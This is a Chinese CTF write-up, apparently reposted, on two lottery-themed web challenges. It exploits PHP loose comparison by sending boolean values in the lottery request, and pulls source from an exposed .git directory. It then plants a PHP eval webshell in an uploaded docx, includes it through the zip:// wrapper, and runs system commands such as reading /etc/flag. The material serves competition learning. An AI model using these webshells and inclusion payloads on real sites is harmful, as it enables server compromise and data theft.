攻防世界Lottery&彩票系統


攻防世界Lottery&彩票系統

做了下有關於彩票系統的題,一道是攻防世界上的lottery,還有一道是升級版的彩票系統。

Lottery

准備工作

點擊play to win,會來到注冊界面,隨便注冊一個號,會來到buy的頁面。一開始我們有20元錢,買flag需要$9990000,錢不夠,那么一定是需要修改賬戶金額的(歐皇除外

抓個買彩票的包看看,numbers是用戶輸入的彩票,后端生成一個win_numbers來進行逐位比較。

image-20200810115422836

git源碼泄露

在robots.txt下看到

User-agent: *
Disallow: /.git/

直接想到git源碼泄露,用git_extract拿到源碼

image-20200810115735905

php弱類型比較

審計一下api.php,發現buy的函數

function buy($req){
	require_registered();
	require_min_money(2);

	$money = $_SESSION['money'];
	$numbers = $req['numbers'];
	$win_numbers = random_win_nums();
	$same_count = 0;
	for($i=0; $i<7; $i++){
		if($numbers[$i] == $win_numbers[$i]){
			$same_count++;
		}
	}
	switch ($same_count) {
		case 2:
			$prize = 5;
			break;
		case 3:
			$prize = 20;
			break;
		case 4:
			$prize = 300;
			break;
		case 5:
			$prize = 1800;
			break;
		case 6:
			$prize = 200000;
			break;
		case 7:
			$prize = 5000000;
			break;
		default:
			$prize = 0;
			break;
	}
	$money += $prize - 2;
	$_SESSION['money'] = $money;
	response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

$win_numbers是隨機生成的字符串,使用php弱類型松散比較,所以此處就是我們可以利用的漏洞。測試一下,發現當true和一個數字或者字母進行比較的時候,永遠返回true

image-20200810121510554

json支持布爾類型,改包如下,直接中大獎,舒服了。這樣就可以一直刷錢了(非酋集合!火速刷錢,點擊就送)

image-20200810122056577

刷夠錢買flag,拿下!

image-20200810122703330


彩票系統

這道題涉及之前的php弱類型比較,還有文件上傳+偽協議文件包含

這道題的環境在安恆的某次比賽上,這邊就不放了,如果之后上線buu那就好了。

看一下截圖來跟我雲復現一下吧。

准備工作

前端風格和剛才做的lottery很像,一個模子刻出來的。也是注冊賬號買彩票,抓一下買彩票的包

image-20200810123340040

這次有了上一道題的基礎,直接改包刷錢

image-20200810123435608

去賬戶信息里看看,發現有個用戶權限,提示普通用戶,那么是不是有管理員呢?繼續看下去,發現刷錢只能刷到$5000000

image-20200810123629569

去交易市場看一下,有兩個button,一個是買flag的,一個是買hint的,點擊沒有反應,猜測是沒有提交json數據,所以需要我們去構造。

image-20200810123734016

構造請求

方法一

這里我們利用上一題買flag時發送的請求看看,發現傳了{"action":"flag"}

image-20200810124628762

購買flag會說錢不夠,把我們的錢鎖在了$5000000,所以只能購買hint,構造包如下。

POST /api.php HTTP/1.1
Host: das.wetolink.com:44002
Content-Length: 19
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Content-Type: application/json
Origin: http://das.wetolink.com:44002
Referer: http://das.wetolink.com:44002/market.php
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: username="2|1:0|10:1596766380|8:username|8:MTIzNDU2|b9c1d7c0c7aecf6f4ba175badf38d35a6be3e07f4974b65621f946482cad03be"; commodity_id="2|1:0|10:1596766421|12:commodity_id|4:Mzg=|93ef8f80732e0c1ecf27ba02c267920523e81a2a5b6c4b9a46a5f022d882d6ef"; PHPSESSID=qjte61iu96k6qrkf4po093iib6
Connection: close


{"action":"hint"}

image-20200810134643673

獲得管理員的賬號和密碼

方法二

查看源碼,在js里找到ajax請求,復制到控制台里

直接請求flag會說哥們錢不夠,因為把我們錢鎖在了$5000000

把flag請求改成hint發送,購買成功

image-20200810135756916

得到管理員賬號密碼

文件上傳+偽協議文件包含

用管理員帳號登錄,發現權限已經變成超級管理員

image-20200810140230428

可以看到有一個黑產頁面信息處理頁面

image-20200810140352030

文件上傳只允許上傳docx文件,docx本身是一個壓縮包,可以在docx里插入一個aaa.php,里面寫入一句話木馬。

post型蟻劍連

<?php @eval($_POST[a]);?>

上傳docx文件,上傳成功,然后利用php的zip偽協議包含改文件

http://das.wetolink.com:44002/bill.php?page=zip://./uploads/2f8bc07bf1a7c44b73d93cda8ba3945328bb584d.docx%23aaa

%23是url編碼下的#然后aaa不加后綴是因為會自動幫你加上

用蟻劍連接getshell

flag在etc/flag下

image-20200810150728837

get型命令執行

<?php @eval($_GET[b]);?>

同樣的,把php文件丟進改了后綴的docx文件里

image-20200810153304733

偽協議包含下

http://das.wetolink.com:44002/bill.php?page=zip://./uploads/efc3256cbfa62bc501c73d0f0f5a850f863b764d.docx%23bbb&b=system('ls');

命令執行成功

image-20200810153457620

在etc/flag找到flag

http://das.wetolink.com:44002/bill.php?page=zip://./uploads/efc3256cbfa62bc501c73d0f0f5a850f863b764d.docx%23bbb&b=system('cat ../../../etc/flag');

image-20200810153739019


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM